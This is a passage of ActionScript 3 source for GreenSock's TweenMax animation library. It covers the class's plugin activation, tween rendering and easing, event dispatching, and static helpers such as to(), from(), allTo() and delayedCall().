* <code>colorize, amount, contrast, brightness, saturation, hue, threshold, relative, matrix, remove, addFilter, index</code></li>
*
* <li><b> dropShadowFilter : Object</b> - To apply a DropShadowFilter, pass an object with one or more of the following properties:
* <code>alpha, angle, blurX, blurY, color, distance, strength, quality, remove, addFilter, index</code></li>
*
* <li><b> bevelFilter : Object</b> - To apply a BevelFilter, pass an object with one or more of the following properties:
* <code>angle, blurX, blurY, distance, highlightAlpha, highlightColor, shadowAlpha, shadowColor, strength, quality, remove, addFilter, index</code></li>
* </ul>
*
*
* <b>EXAMPLES:</b><br /><br />
*
* Please see <a href="http://www.tweenmax.com">http://www.tweenmax.com</a> for examples, tutorials, and interactive demos. <br /><br />
*
* <b>NOTES / TIPS:</b>
* <ul>
* <li> Passing values as Strings will make the tween relative to the current value. For example, if you do
* <code>TweenMax.to(mc, 2, {x:"-20"});</code> it'll move the mc.x to the left 20 pixels which is the same as doing
* <code>TweenMax.to(mc, 2, {x:mc.x - 20});</code> You could also cast it like: <code>TweenMax.to(mc, 2, {x:String(myVariable)});</code></li>
*
* <li> If you prefer, instead of using the onCompleteListener, onInitListener, onStartListener, and onUpdateListener special properties,
* you can set up listeners the typical way, like:<br /><code>
* var myTween:TweenMax = new TweenMax(my_mc, 2, {x:200});<br />
* myTween.addEventListener(TweenEvent.COMPLETE, myFunction);</code></li>
*
* <li> You can kill all tweens of a particular object anytime with the <code>TweenMax.killTweensOf(myObject); </code></li>
*
* <li> You can kill all delayedCalls to a particular function using <code>TweenMax.killDelayedCallsTo(myFunction);</code>
* This can be helpful if you want to preempt a call.</li>
*
* <li> Use the <code>TweenMax.from()</code> method to animate things into place. For example, if you have things set up on
* the stage in the spot where they should end up, and you just want to animate them into place, you can
* pass in the beginning x and/or y and/or alpha (or whatever properties you want).</li>
*
* <li> If you find this class useful, please consider joining Club GreenSock which not only helps to sustain
* ongoing development, but also gets you bonus plugins, classes and other benefits that are ONLY available
* to members. Learn more at <a href="http://www.greensock.com/club/">http://www.greensock.com/club/</a></li>
* </ul>
*
* <b>Copyright 2011, GreenSock. All rights reserved.</b> This work is subject to the terms in <a href="http://www.greensock.com/terms_of_use.html">http://www.greensock.com/terms_of_use.html</a> or for corporate Club GreenSock members, the software agreement that was issued with the corporate membership.
*
* @author Jack Doyle, jack@greensock.com
*/
public class TweenMax extends TweenLite implements IEventDispatcher {
/** @private **/
public static const version:Number = 11.66;
TweenPlugin.activate([
//ACTIVATE (OR DEACTIVATE) PLUGINS HERE...
AutoAlphaPlugin, //tweens alpha and then toggles "visible" to false if/when alpha is zero
EndArrayPlugin, //tweens numbers in an Array
FramePlugin, //tweens MovieClip frames
RemoveTintPlugin, //allows you to remove a tint
TintPlugin, //tweens tints
VisiblePlugin, //tweens a target's "visible" property
VolumePlugin, //tweens the volume of a MovieClip or SoundChannel or anything with a "soundTransform" property
BevelFilterPlugin, //tweens BevelFilters
BezierPlugin, //enables bezier tweening
BezierThroughPlugin, //enables bezierThrough tweening
BlurFilterPlugin, //tweens BlurFilters
ColorMatrixFilterPlugin, //tweens ColorMatrixFilters (including hue, saturation, colorize, contrast, brightness, and threshold)
ColorTransformPlugin, //tweens advanced color properties like exposure, brightness, tintAmount, redOffset, redMultiplier, etc.
DropShadowFilterPlugin, //tweens DropShadowFilters
FrameLabelPlugin, //tweens a MovieClip to particular label
GlowFilterPlugin, //tweens GlowFilters
HexColorsPlugin, //tweens hex colors
RoundPropsPlugin, //enables the roundProps special property for rounding values (ONLY for TweenMax!)
ShortRotationPlugin, //tweens rotation values in the shortest direction
//QuaternionsPlugin, //tweens 3D Quaternions
//ScalePlugin, //Tweens both the _xscale and _yscale properties
//ScrollRectPlugin, //tweens the scrollRect property of a DisplayObject
//SetSizePlugin, //tweens the width/height of components via setSize()
//SetActualSizePlugin, //tweens the width/height of components via setActualSize()
//TransformMatrixPlugin, //Tweens the transform.matrix property of any DisplayObject
//DynamicPropsPlugin, //tweens to dynamic end values. You associate the property with a particular function that returns the target end value **Club GreenSock membership benefit**
//MotionBlurPlugin, //applies a directional blur to a DisplayObject based on the velocity and angle of movement. **Club GreenSock membership benefit**
//Physics2DPlugin, //allows you to apply basic physics in 2D space, like velocity, angle, gravity, friction, acceleration, and accelerationAngle. **Club GreenSock membership benefit**
//PhysicsPropsPlugin, //allows you to apply basic physics to any property using forces like velocity, acceleration, and/or friction. **Club GreenSock membership benefit**
//TransformAroundCenterPlugin,//tweens the scale and/or rotation of DisplayObjects using the DisplayObject's center as the registration point **Club GreenSock membership benefit**
//TransformAroundPointPlugin, //tweens the scale and/or rotation of DisplayObjects around a particular point (like a custom registration point) **Club GreenSock membership benefit**
{}]); //activated in static var instead of constructor because otherwise if there's a from() tween, TweenLite's constructor would get called first and initTweenVals() would run before the plugins were activated.
/** @private Just to make sure OverwriteManager is activated. **/
private static var _overwriteMode:int = (OverwriteManager.enabled) ? OverwriteManager.mode : OverwriteManager.init(2);
/**
* Kills all the tweens of a particular object, optionally completing them first.
*
* @param target Object whose tweens should be immediately killed
* @param complete Indicates whether or not the tweens should be forced to completion before being killed.
*/
public static var killTweensOf:Function = TweenLite.killTweensOf;
/** @private **/
public static var killDelayedCallsTo:Function = TweenLite.killTweensOf;
/** @private **/
protected var _dispatcher:EventDispatcher;
/** @private **/
protected var _hasUpdateListener:Boolean;
/** @private **/
protected var _repeat:int = 0;
/** @private **/
protected var _repeatDelay:Number = 0;
/** @private **/
protected var _cyclesComplete:int = 0;
/** @private Indicates the strength of the fast ease - only used for eases that are optimized to make use of the internal code in the render() loop (ones that are activated with FastEase.activate()) **/
protected var _easePower:int;
/** @private 0 = standard function, 1 = optimized easeIn, 2 = optimized easeOut, 3 = optimized easeInOut. Only used for eases that are optimized to make use of the internal code in the render() loop (ones that are activated with FastEase.activate()) **/
protected var _easeType:int;
/**
* Works in conjunction with the repeat property, determining the behavior of each cycle; when yoyo is true,
* the tween will go back and forth, appearing to reverse every other cycle (this has no affect on the "reversed"
* property though). So if repeat is 2 and yoyo is false, it will look like: start - 1 - 2 - 3 - 1 - 2 - 3 - 1 - 2 - 3 - end.
* But if repeat is 2 and yoyo is true, it will look like: start - 1 - 2 - 3 - 3 - 2 - 1 - 1 - 2 - 3 - end.
**/
public var yoyo:Boolean;
/**
* Constructor
*
* @param target Target object whose properties this tween affects. This can be ANY object, not just a DisplayObject.
* @param duration Duration in seconds (or in frames if the tween's timing mode is frames-based)
* @param vars An object containing the end values of the properties you're tweening. For example, to tween to x=100, y=100, you could pass {x:100, y:100}. It can also contain special properties like "onComplete", "ease", "delay", etc.
*/
public function TweenMax(target:Object, duration:Number, vars:Object) {
super(target, duration, vars);
if (TweenLite.version < 11.2) {
throw new Error("TweenMax error! Please update your TweenLite class or try deleting your ASO files. TweenMax requires a more recent version. Download updates at http://www.TweenMax.com.");
}
this.yoyo = Boolean(this.vars.yoyo);
_repeat = uint(this.vars.repeat);
_repeatDelay = (this.vars.repeatDelay) ? Number(this.vars.repeatDelay) : 0;
this.cacheIsDirty = true; //ensures that if there is any repeat, the totalDuration will get recalculated to accurately report it.
if (this.vars.onCompleteListener || this.vars.onInitListener || this.vars.onUpdateListener || this.vars.onStartListener || this.vars.onRepeatListener || this.vars.onReverseCompleteListener) {
initDispatcher();
if (duration == 0 && _delay == 0) {
_dispatcher.dispatchEvent(new TweenEvent(TweenEvent.UPDATE));
_dispatcher.dispatchEvent(new TweenEvent(TweenEvent.COMPLETE));
}
}
if (this.vars.timeScale && !(this.target is TweenCore)) {
this.cachedTimeScale = this.vars.timeScale;
}
}
/**
* @private
* Initializes the property tweens, determining their start values and amount of change.
* Also triggers overwriting if necessary and sets the _hasUpdate variable.
*/
override protected function init():void {
if (this.vars.startAt) {
this.vars.startAt.overwrite = 0;
this.vars.startAt.immediateRender = true;
var startTween:TweenMax = new TweenMax(this.target, 0, this.vars.startAt);
}
if (_dispatcher) {
_dispatcher.dispatchEvent(new TweenEvent(TweenEvent.INIT));
}
super.init();
if (_ease in fastEaseLookup) {
_easeType = fastEaseLookup[_ease][0];
_easePower = fastEaseLookup[_ease][1];
}
}
/** @inheritDoc **/
override public function invalidate():void {
this.yoyo = Boolean(this.vars.yoyo == true);
_repeat = (this.vars.repeat) ? Number(this.vars.repeat) : 0;
_repeatDelay = (this.vars.repeatDelay) ? Number(this.vars.repeatDelay) : 0;
_hasUpdateListener = false;
if (this.vars.onCompleteListener != null || this.vars.onUpdateListener != null || this.vars.onStartListener != null) {
initDispatcher();
}
setDirtyCache(true);
super.invalidate();
}
/**
* Updates tweening values on the fly so that they appear to seamlessly change course even if the tween is in-progress.
* Think of it as dynamically updating the <code>vars</code> object that you passed in to the tween when it was originally
* created. You do <b>NOT</b> need to redefine all of the <code>vars</code> values - only the ones that you want
* to update. You can even define new properties that you didn't define in the original <code>vars</code> object.
* If the <code>resetDuration</code> parameter is <code>true</code> and the tween has already started (or finished),
* <code>updateTo()</code> will restart the tween. Otherwise, the tween's timing will be honored. And if
* <code>resetDuration</code> is <code>false</code> and the tween is in-progress, the starting values of each
* property will be adjusted so that the tween appears to seamlessly redirect to the new destination values.
* For example:<br /><br /><code>
*
* //create the tween <br />
* var tween:TweenMax = new TweenMax(mc, 2, {x:100, y:200, alpha:0.5});<br /><br />
*
* //then later, update the destination x and y values, restarting the tween<br />
* tween.updateTo({x:300, y:0}, true);<br /><br />
*
* //or to update the values mid-tween while keeping the end time the same (don't restart the tween), do this:<br />
* tween.updateTo({x:300, y:0}, false);<br /><br /></code>
*
* Note: If you plan to constantly update values, please look into using the <code>DynamicPropsPlugin</code>.
*
* @param vars Object containing properties with the end values that should be udpated. You do <b>NOT</b> need to redefine all of the original <code>vars</code> values - only the ones that should be updated (although if you change a plugin value, you will need to fully define it). For example, to update the destination <code>x</code> value to 300 and the destination <code>y</code> value to 500, pass: <code>{x:300, y:500}</code>.
* @param resetDuration If the tween has already started (or finished) and <code>resetDuration</code> is true, the tween will restart. If <code>resetDuration</code> is false, the tween's timing will be honored (no restart) and each tweening property's starting value will be adjusted so that it appears to seamlessly redirect to the new destination value.
**/
public function updateTo(vars:Object, resetDuration:Boolean=false):void {
var curRatio:Number = this.ratio;
if (resetDuration && this.timeline != null && this.cachedStartTime < this.timeline.cachedTime) {
this.cachedStartTime = this.timeline.cachedTime;
this.setDirtyCache(false);
if (this.gc) {
this.setEnabled(true, false);
} else {
this.timeline.insert(this, this.cachedStartTime - _delay); //ensures that any necessary re-sequencing of TweenCores in the timeline occurs to make sure the rendering order is correct.
}
}
for (var p:String in vars) {
this.vars[p] = vars[p];
}
if (this.initted) {
this.initted = false;
if (!resetDuration) {
if (_notifyPluginsOfEnabled && this.cachedPT1) {
onPluginEvent("onDisable", this); //in case a plugin like MotionBlur must perform some cleanup tasks
}
init();
if (!resetDuration && this.cachedTime > 0 && this.cachedTime < this.cachedDuration) {
var inv:Number = 1 / (1 - curRatio);
var pt:PropTween = this.cachedPT1, endValue:Number;
while (pt) {
endValue = pt.start + pt.change;
pt.change *= inv;
pt.start = endValue - pt.change;
pt = pt.nextNode;
}
}
}
}
}
/**
* Adjusts a destination value on the fly, optionally adjusting the start values so that it appears to redirect seamlessly
* without skipping/jerking (<b>this method has been deprecated in favor of <code>updateTo()</code></b>).
* If you plan to constantly update values, please look into using the DynamicPropsPlugin.
*
* @param property Name of the property that should be updated. For example, "x".
* @param value The new destination value
* @param adjustStartValues If true, the property's start value will be adjusted to make the tween appear to seamlessly/smoothly redirect without any skipping/jerking. Beware that if start values are adjusted, reversing the tween will not make it travel back to the original starting value.
**/
public function setDestination(property:String, value:*, adjustStartValues:Boolean=true):void {
var vars:Object = {};
vars[property] = value;
updateTo(vars, !adjustStartValues);
}
/**
* Allows particular properties of the tween to be killed, much like the killVars() method
* except that killProperties() accepts an Array of property names.
*
* @param names An Array of property names whose tweens should be killed immediately.
*/
public function killProperties(names:Array):void {
var v:Object = {}, i:int = names.length;
while (--i > -1) {
v[names[i]] = true;
}
killVars(v);
}
/**
* @private
* Renders the tween at a particular time (or frame number for frames-based tweens).
* The time is based simply on the overall duration. For example, if a tween's duration
* is 3, <code>renderTime(1.5)</code> would render it at the halfway finished point.
*
* @param time time (or frame number for frames-based tweens) to render.
* @param suppressEvents If true, no events or callbacks will be triggered for this render (like onComplete, onUpdate, onReverseComplete, etc.)
* @param force Normally the tween will skip rendering if the time matches the cachedTotalTime (to improve performance), but if force is true, it forces a render. This is primarily used internally for tweens with durations of zero in TimelineLite/Max instances.
*/
override public function renderTime(time:Number, suppressEvents:Boolean=false, force:Boolean=false):void {
var totalDur:Number = (this.cacheIsDirty) ? this.totalDuration : this.cachedTotalDuration, prevTime:Number = this.cachedTotalTime, isComplete:Boolean, repeated:Boolean, setRatio:Boolean;
if (time >= totalDur) {
this.cachedTotalTime = totalDur;
this.cachedTime = this.cachedDuration;
this.ratio = 1;
isComplete = true;
if (this.cachedDuration == 0) { //zero-duration tweens are tricky because we must discern the momentum/direction of time in order to determine whether the starting values should be rendered or the ending values. If the "playhead" of its timeline goes past the zero-duration tween in the forward direction or lands directly on it, the end values should be rendered, but if the timeline's "playhead" moves past it in the backward direction (from a postitive time to a negative time), the starting values must be rendered.
if ((time == 0 || _rawPrevTime < 0) && _rawPrevTime != time) {
force = true;
}
_rawPrevTime = time;
}
} else if (time <= 0) {
if (time < 0) {
this.active = false;
if (this.cachedDuration == 0) { //zero-duration tweens are tricky because we must discern the momentum/direction of time in order to determine whether the starting values should be rendered or the ending values. If the "playhead" of its timeline goes past the zero-duration tween in the forward direction or lands directly on it, the end values should be rendered, but if the timeline's "playhead" moves past it in the backward direction (from a postitive time to a negative time), the starting values must be rendered.
if (_rawPrevTime >= 0) {
force = true;
isComplete = true;
}
_rawPrevTime = time;
}
} else if (time == 0 && !this.initted) { //if we render the very beginning (time == 0) of a TweenMax.fromTo(), we must force the render (normal tweens wouldn't need to render at a time of 0 when the prevTime was also 0). This is also mandatory to make sure overwriting kicks in immediately.
force = true;
}
this.cachedTotalTime = this.cachedTime = this.ratio = 0;
if (this.cachedReversed && prevTime != 0) {
isComplete = true;
}
} else {
this.cachedTotalTime = this.cachedTime = time;
setRatio = true;
}
if (_repeat != 0) {
var cycleDuration:Number = this.cachedDuration + _repeatDelay;
var prevCycles:int = _cyclesComplete;
_cyclesComplete = (this.cachedTotalTime / cycleDuration) >> 0; //rounds result down, like int()
if (_cyclesComplete == this.cachedTotalTime / cycleDuration) {
_cyclesComplete--; //otherwise when rendered exactly at the end time, it will act as though it is repeating (at the beginning)
}
if (prevCycles != _cyclesComplete) {
repeated = true;
}
if (isComplete) {
if (this.yoyo && _repeat % 2) {
this.cachedTime = this.ratio = 0;
}
} else if (time > 0) {
this.cachedTime = ((this.cachedTotalTime / cycleDuration) - _cyclesComplete) * cycleDuration; //originally this.cachedTotalTime % cycleDuration but floating point errors caused problems, so I normalized it. (4 % 0.8 should be 0 but Flash reports it as 0.79999999!)
if (this.yoyo && _cyclesComplete % 2) {
this.cachedTime = this.cachedDuration - this.cachedTime;
} else if (this.cachedTime >= this.cachedDuration) {
this.cachedTime = this.cachedDuration;
this.ratio = 1;
setRatio = false;
}
if (this.cachedTime <= 0) {
this.cachedTime = this.ratio = 0;
setRatio = false;
}
} else {
_cyclesComplete = 0;
}
}
if (prevTime == this.cachedTotalTime && !force) {
return;
} else if (!this.initted) {
init();
}
if (!this.active && !this.cachedPaused) {
this.active = true; //so that if the user renders a tween (as opposed to the timeline rendering it), the timeline is forced to re-render and align it with the proper time/frame on the next rendering cycle. Maybe the tween already finished but the user manually re-renders it as halfway done.
}
if (setRatio) {
//if the ease is optimized, process it inline (function calls are expensive performance-wise)...
if (_easeType) {
var power:int = _easePower;
var val:Number = this.cachedTime / this.cachedDuration;
if (_easeType == 2) { //easeOut
this.ratio = val = 1 - val;
while (--power > -1) {
this.ratio = val * this.ratio;
}
this.ratio = 1 - this.ratio;
} else if (_easeType == 1) { //easeIn
this.ratio = val;
while (--power > -1) {
this.ratio = val * this.ratio;
}
} else { //easeInOut
if (val < 0.5) {
this.ratio = val = val * 2;
while (--power > -1) {
this.ratio = val * this.ratio;
}
this.ratio = this.ratio * 0.5;
} else {
this.ratio = val = (1 - val) * 2;
while (--power > -1) {
this.ratio = val * this.ratio;
}
this.ratio = 1 - (0.5 * this.ratio);
}
}
} else {
this.ratio = _ease(this.cachedTime, 0, 1, this.cachedDuration);
}
}
if (prevTime == 0 && (this.cachedTotalTime != 0 || this.cachedDuration == 0) && !suppressEvents) {
if (this.vars.onStart) {
this.vars.onStart.apply(null, this.vars.onStartParams);
}
if (_dispatcher) {
_dispatcher.dispatchEvent(new TweenEvent(TweenEvent.START));
}
}
var pt:PropTween = this.cachedPT1;
while (pt) {
pt.target[pt.property] = pt.start + (this.ratio * pt.change);
pt = pt.nextNode;
}
if (_hasUpdate && !suppressEvents) {
this.vars.onUpdate.apply(null, this.vars.onUpdateParams);
}
if (_hasUpdateListener && !suppressEvents) {
_dispatcher.dispatchEvent(new TweenEvent(TweenEvent.UPDATE));
}
if (repeated && !suppressEvents && !this.gc) {
if (this.vars.onRepeat) {
this.vars.onRepeat.apply(null, this.vars.onRepeatParams);
}
if (_dispatcher) {
_dispatcher.dispatchEvent(new TweenEvent(TweenEvent.REPEAT));
}
}
if (isComplete && !this.gc) { //check gc because there's a chance that kill() could be called in an onUpdate
if (_hasPlugins && this.cachedPT1) {
onPluginEvent("onComplete", this);
}
complete(true, suppressEvents);
}
}
/**
* Forces the tween to completion.
*
* @param skipRender to skip rendering the final state of the tween, set skipRender to true.
* @param suppressEvents If true, no events or callbacks will be triggered for this render (like onComplete, onUpdate, onReverseComplete, etc.)
*/
override public function complete(skipRender:Boolean=false, suppressEvents:Boolean=false):void {
super.complete(skipRender, suppressEvents);
if (!suppressEvents && _dispatcher) {
if (this.cachedTotalTime == this.cachedTotalDuration && !this.cachedReversed) {
_dispatcher.dispatchEvent(new TweenEvent(TweenEvent.COMPLETE));
} else if (this.cachedReversed && this.cachedTotalTime == 0) {
_dispatcher.dispatchEvent(new TweenEvent(TweenEvent.REVERSE_COMPLETE));
}
}
}
//---- EVENT DISPATCHING ----------------------------------------------------------------------------------------------------------
/**
* @private
* Initializes Event dispatching functionality
*/
protected function initDispatcher():void {
if (_dispatcher == null) {
_dispatcher = new EventDispatcher(this);
}
if (this.vars.onInitListener is Function) {
_dispatcher.addEventListener(TweenEvent.INIT, this.vars.onInitListener, false, 0, true);
}
if (this.vars.onStartListener is Function) {
_dispatcher.addEventListener(TweenEvent.START, this.vars.onStartListener, false, 0, true);
}
if (this.vars.onUpdateListener is Function) {
_dispatcher.addEventListener(TweenEvent.UPDATE, this.vars.onUpdateListener, false, 0, true);
_hasUpdateListener = true;
}
if (this.vars.onCompleteListener is Function) {
_dispatcher.addEventListener(TweenEvent.COMPLETE, this.vars.onCompleteListener, false, 0, true);
}
if (this.vars.onRepeatListener is Function) {
_dispatcher.addEventListener(TweenEvent.REPEAT, this.vars.onRepeatListener, false, 0, true);
}
if (this.vars.onReverseCompleteListener is Function) {
_dispatcher.addEventListener(TweenEvent.REVERSE_COMPLETE, this.vars.onReverseCompleteListener, false, 0, true);
}
}
/** @private **/
public function addEventListener(type:String, listener:Function, useCapture:Boolean = false, priority:int = 0, useWeakReference:Boolean = false):void {
if (_dispatcher == null) {
initDispatcher();
}
if (type == TweenEvent.UPDATE) {
_hasUpdateListener = true;
}
_dispatcher.addEventListener(type, listener, useCapture, priority, useWeakReference);
}
/** @private **/
public function removeEventListener(type:String, listener:Function, useCapture:Boolean = false):void {
if (_dispatcher) {
_dispatcher.removeEventListener(type, listener, useCapture);
}
}
/** @private **/
public function hasEventListener(type:String):Boolean {
return (_dispatcher == null) ? false : _dispatcher.hasEventListener(type);
}
/** @private **/
public function willTrigger(type:String):Boolean {
return (_dispatcher == null) ? false : _dispatcher.willTrigger(type);
}
/** @private **/
public function dispatchEvent(e:Event):Boolean {
return (_dispatcher == null) ? false : _dispatcher.dispatchEvent(e);
}
//---- STATIC FUNCTIONS -----------------------------------------------------------------------------------------------------------
/**
* Static method for creating a TweenMax instance. This can be more intuitive for some developers
* and shields them from potential garbage collection issues that could arise when assigning a
* tween instance to a variable that persists. The following lines of code produce exactly
* the same result: <br /><br /><code>
*
* var myTween:TweenMax = new TweenMax(mc, 1, {x:100}); <br />
* TweenMax.to(mc, 1, {x:100}); <br />
* var myTween:TweenMax = TweenMax.to(mc, 1, {x:100}); <br /><br /></code>
*
* @param target Target object whose properties this tween affects. This can be ANY object, not just a DisplayObject.
* @param duration Duration in seconds (or in frames for frames-based tweens)
* @param vars An object containing the end values of the properties you're tweening. For example, to tween to x=100, y=100, you could pass {x:100, y:100}. It can also contain special properties like "onComplete", "ease", "delay", etc.
* @return TweenMax instance
*/
public static function to(target:Object, duration:Number, vars:Object):TweenMax {
return new TweenMax(target, duration, vars);
}
/**
* Static method for creating a TweenMax instance that tweens in the opposite direction
* compared to a <code>TweenMax.to()</code> tween. In other words, you define the START values in the
* vars object instead of the end values, and the tween will use the current values as
* the end values. This can be very useful for animating things into place on the stage
* because you can build them in their end positions and do some simple <code>TweenMax.from()</code>
* calls to animate them into place. <b>NOTE:</b> By default, <code>immediateRender</code>
* is <code>true</code> for from() tweens, meaning that they immediately render their starting state
* regardless of any delay that is specified. You can override this behavior by passing
* <code>immediateRender:false</code> in the <code>vars</code> object so that it will wait to
* render until the tween actually begins (often the desired behavior when inserting into timelines).
* To illustrate the default behavior, the following code will immediately set the <code>alpha</code> of <code>mc</code>
* to 0 and then wait 2 seconds before tweening the <code>alpha</code> back to 1 over the course
* of 1.5 seconds:<br /><br /><code>
*
* TweenMax.from(mc, 1.5, {alpha:0, delay:2});</code>
*
* @param target Target object whose properties this tween affects. This can be ANY object, not just a DisplayObject.
* @param duration Duration in seconds (or in frames for frames-based tweens)
* @param vars An object containing the start values of the properties you're tweening. For example, to tween from x=100, y=100, you could pass {x:100, y:100}. It can also contain special properties like "onComplete", "ease", "delay", etc.
* @return TweenMax instance
*/
public static function from(target:Object, duration:Number, vars:Object):TweenMax {
vars.runBackwards = true;
if (!("immediateRender" in vars)) {
vars.immediateRender = true;
}
return new TweenMax(target, duration, vars);
}
/**
* Static method for creating a TweenMax instance that tweens from a particular set of
* values to another set of values, as opposed to a normal to() or from() tween which are
* based on the target's current values. <b>NOTE</b>: Only put starting values
* in the fromVars parameter - all special properties for the tween (like onComplete, onUpdate, delay, etc.) belong
* in the toVars parameter.
*
* @param target Target object whose properties this tween affects. This can be ANY object, not just a DisplayObject.
* @param duration Duration in seconds (or in frames for frames-based tweens)
* @param fromVars An object containing the starting values of the properties you're tweening. For example, to tween from x=0, y=0, you could pass {x:0, y:0}. Only put starting values in the fromVars parameter - all special properties for the tween (like onComplete, onUpdate, delay, etc.) belong in the toVars parameter.
* @param toVars An object containing the ending values of the properties you're tweening. For example, to tween to x=100, y=100, you could pass {x:100, y:100}. It can also contain special properties like "onComplete", "ease", "delay", etc.
* @return TweenMax instance
*/
public static function fromTo(target:Object, duration:Number, fromVars:Object, toVars:Object):TweenMax {
toVars.startAt = fromVars;
if (fromVars.immediateRender) {
toVars.immediateRender = true;
}
return new TweenMax(target, duration, toVars);
}
/**
* Tween multiple objects to the same end values. The "stagger" parameter
* staggers the start time of each tween. For example, you might want to have 5 MovieClips move down
* 100 pixels while fading out, and stagger the start times slightly by 0.2 seconds: <br /><br /><code>
*
* TweenMax.allTo([mc1, mc2, mc3, mc4, mc5], 1, {y:"100", alpha:0}, 0.2); <br /><br /></code>
*
* Note: You can easily add a group of tweens to a TimelineLite/Max instance using allTo() in conjunction with the
* insertMultipe() method of a timeline, like:<br /><br />
* <code>myTimeline.insertMultiple(TweenMax.allTo([mc1, mc2, mc3], 1, {alpha:0, y:"100"}, 0.1));</code>
*
* @param targets An Array of objects to tween.
* @param duration Duration in seconds (or frames for frames-based tweens) of the tween
* @param vars An object containing the end values of all the properties you'd like to have tweened (or if you're using the TweenMax.allFrom() method, these variables would define the BEGINNING values).
* @param stagger Staggers the start time of each tween. For example, you might want to have 5 MovieClips move down 100 pixels while fading out, and stagger the start times slightly by 0.2 seconds, you could do: <code>TweenMax.allTo([mc1, mc2, mc3, mc4, mc5], 1, {y:"100", alpha:0}, 0.2)</code>.
* @param onCompleteAll A function to call when all of the tweens have completed.
* @param onCompleteAllParams An Array of parameters to pass the onCompleteAll function when all the tweens have completed.
* @return Array of TweenMax tweens
*/
public static function allTo(targets:Array, duration:Number, vars:Object, stagger:Number=0, onCompleteAll:Function=null, onCompleteAllParams:Array=null):Array {
var i:int, varsDup:Object, p:String;
var l:int = targets.length;
var a:Array = [];
var curDelay:Number = ("delay" in vars) ? Number(vars.delay) : 0;
var onCompleteProxy:Function = vars.onComplete;
var onCompleteParamsProxy:Array = vars.onCompleteParams;
var lastIndex:int = l - 1;
for (i = 0; i < l; i += 1) {
varsDup = {};
for (p in vars) {
varsDup[p] = vars[p];
}
varsDup.delay = curDelay;
if (i == lastIndex && onCompleteAll != null) {
varsDup.onComplete = function():void {
if (onCompleteProxy != null) {
onCompleteProxy.apply(null, onCompleteParamsProxy);
}
onCompleteAll.apply(null, onCompleteAllParams);
}
}
a[i] = new TweenMax(targets[i], duration, varsDup);
curDelay += stagger;
}
return a;
}
/**
* Exactly the same as TweenMax.allTo(), but instead of tweening the properties from where they're
* at currently to whatever you define, this tweens them the opposite way - from where you define TO
* where ever they are when the tweens begin. This is useful when things are set up on the stage the way they should
* end up and you just want to tween them into place. <b>NOTE:</b> By default, <code>immediateRender</code>
* is <code>true</code> for allFrom() tweens, meaning that they immediately render their starting state
* regardless of any delay or stagger that is specified. You can override this behavior by passing
* <code>immediateRender:false</code> in the <code>vars</code> object so that each tween will wait to render until
* any delay/stagger has passed (often the desired behavior when inserting into timelines). To illustrate
* the default behavior, the following code will immediately set the <code>alpha</code> of <code>mc1</code>,
* <code>mc2</code>, and <code>mc3</code> to 0 and then wait 2 seconds before tweening each <code>alpha</code>
* back to 1 over the course of 1.5 seconds with 0.1 seconds lapsing between the start times of each:<br /><br /><code>
*
* TweenMax.allFrom([mc1, mc2, mc3], 1.5, {alpha:0, delay:2}, 0.1);</code>
*
* @param targets An Array of objects to tween.
* @param duration Duration (in seconds) of the tween (or in frames for frames-based tweens)
* @param vars An object containing the start values of all the properties you'd like to have tweened.
* @param stagger Staggers the start time of each tween. For example, you might want to have 5 MovieClips move down 100 pixels while fading from alpha:0, and stagger the start times slightly by 0.2 seconds, you could do: <code>TweenMax.allFromTo([mc1, mc2, mc3, mc4, mc5], 1, {y:"-100", alpha:0}, 0.2)</code>.
* @param onCompleteAll A function to call when all of the tweens have completed.
* @param onCompleteAllParams An Array of parameters to pass the onCompleteAll function when all the tweens have completed.
* @return Array of TweenMax instances
*/
public static function allFrom(targets:Array, duration:Number, vars:Object, stagger:Number=0, onCompleteAll:Function=null, onCompleteAllParams:Array=null):Array {
vars.runBackwards = true;
if (!("immediateRender" in vars)) {
vars.immediateRender = true;
}
return allTo(targets, duration, vars, stagger, onCompleteAll, onCompleteAllParams);
}
/**
* Tweens multiple targets from a common set of starting values to a common set of ending values; exactly the same
* as TweenMax.allTo(), but adds the ability to define the starting values. <b>NOTE</b>: Only put starting values
* in the fromVars parameter - all special properties for the tween (like onComplete, onUpdate, delay, etc.) belong
* in the toVars parameter.
*
* @param targets An Array of objects to tween.
* @param duration Duration (in seconds) of the tween (or in frames for frames-based tweens)
* @param fromVars An object containing the starting values of all the properties you'd like to have tweened.
* @param toVars An object containing the ending values of all the properties you'd like to have tweened.
* @param stagger Staggers the start time of each tween. For example, you might want to have 5 MovieClips move down from y:0 to y:100 while fading from alpha:0 to alpha:1, and stagger the start times slightly by 0.2 seconds, you could do: <code>TweenMax.allFromTo([mc1, mc2, mc3, mc4, mc5], 1, {y:0, alpha:0}, {y:100, alpha:1}, 0.2)</code>.
* @param onCompleteAll A function to call when all of the tweens have completed.
* @param onCompleteAllParams An Array of parameters to pass the onCompleteAll function when all the tweens have completed.
* @return Array of TweenMax instances
*/
public static function allFromTo(targets:Array, duration:Number, fromVars:Object, toVars:Object, stagger:Number=0, onCompleteAll:Function=null, onCompleteAllParams:Array=null):Array {
toVars.startAt = fromVars;
if (fromVars.immediateRender) {
toVars.immediateRender = true;
}
return allTo(targets, duration, toVars, stagger, onCompleteAll, onCompleteAllParams);
}
/**
* Provides a simple way to call a function after a set amount of time (or frames). You can
* optionally pass any number of parameters to the function too. For example: <br /><br /><code>
*
* TweenMax.delayedCall(1, myFunction, ["param1", 2]);<br />
* function myFunction(param1:String, param2:Number):void {<br />
* trace("called myFunction and passed params: " + param1 + ", " + param2);<br />
* }<br /><br /></code>
*
* @param delay Delay in seconds (or frames if useFrames is true) before the function should be called
* @param onComplete Function to call
* @param onCompleteParams An Array of parameters to pass the function.
* @return TweenMax instance
*/
public static function delayedCall(delay:Number, onComplete:Function, onCompleteParams:Array=null, useFrames:Boolean=false):TweenMax {
return new TweenMax(onComplete, 0, {delay:delay, onComplete:onComplete, onCompleteParams:onCompleteParams, immediateRender:false, useFrames:useFrames, overwrite:0});
}
/**
* Gets all the tweens of a particular object.
*
* @param target The target object whose tweens you want returned
* @return Array of tweens (could be TweenLite and/or TweenMax instances)
*/
public static function getTweensOf(target:Object):Array {
var a:Array = masterList[target];
var toReturn:Array = [];
if (a) {
var i:int = a.length;
var cnt:int = 0;
while (--i > -1) {
if (!TweenLite(a[i]).gc) {
toReturn[cnt++] = a[i];
}
}
}
return toReturn;
}
/**
* Determines whether or not a particular object is actively tweening. If a tween
* is paused or hasn't started yet, it doesn't count as active.
*
* @param target Target object whose tweens you're checking
* @return Boolean value indicating whether or not any active tweens were found
*/
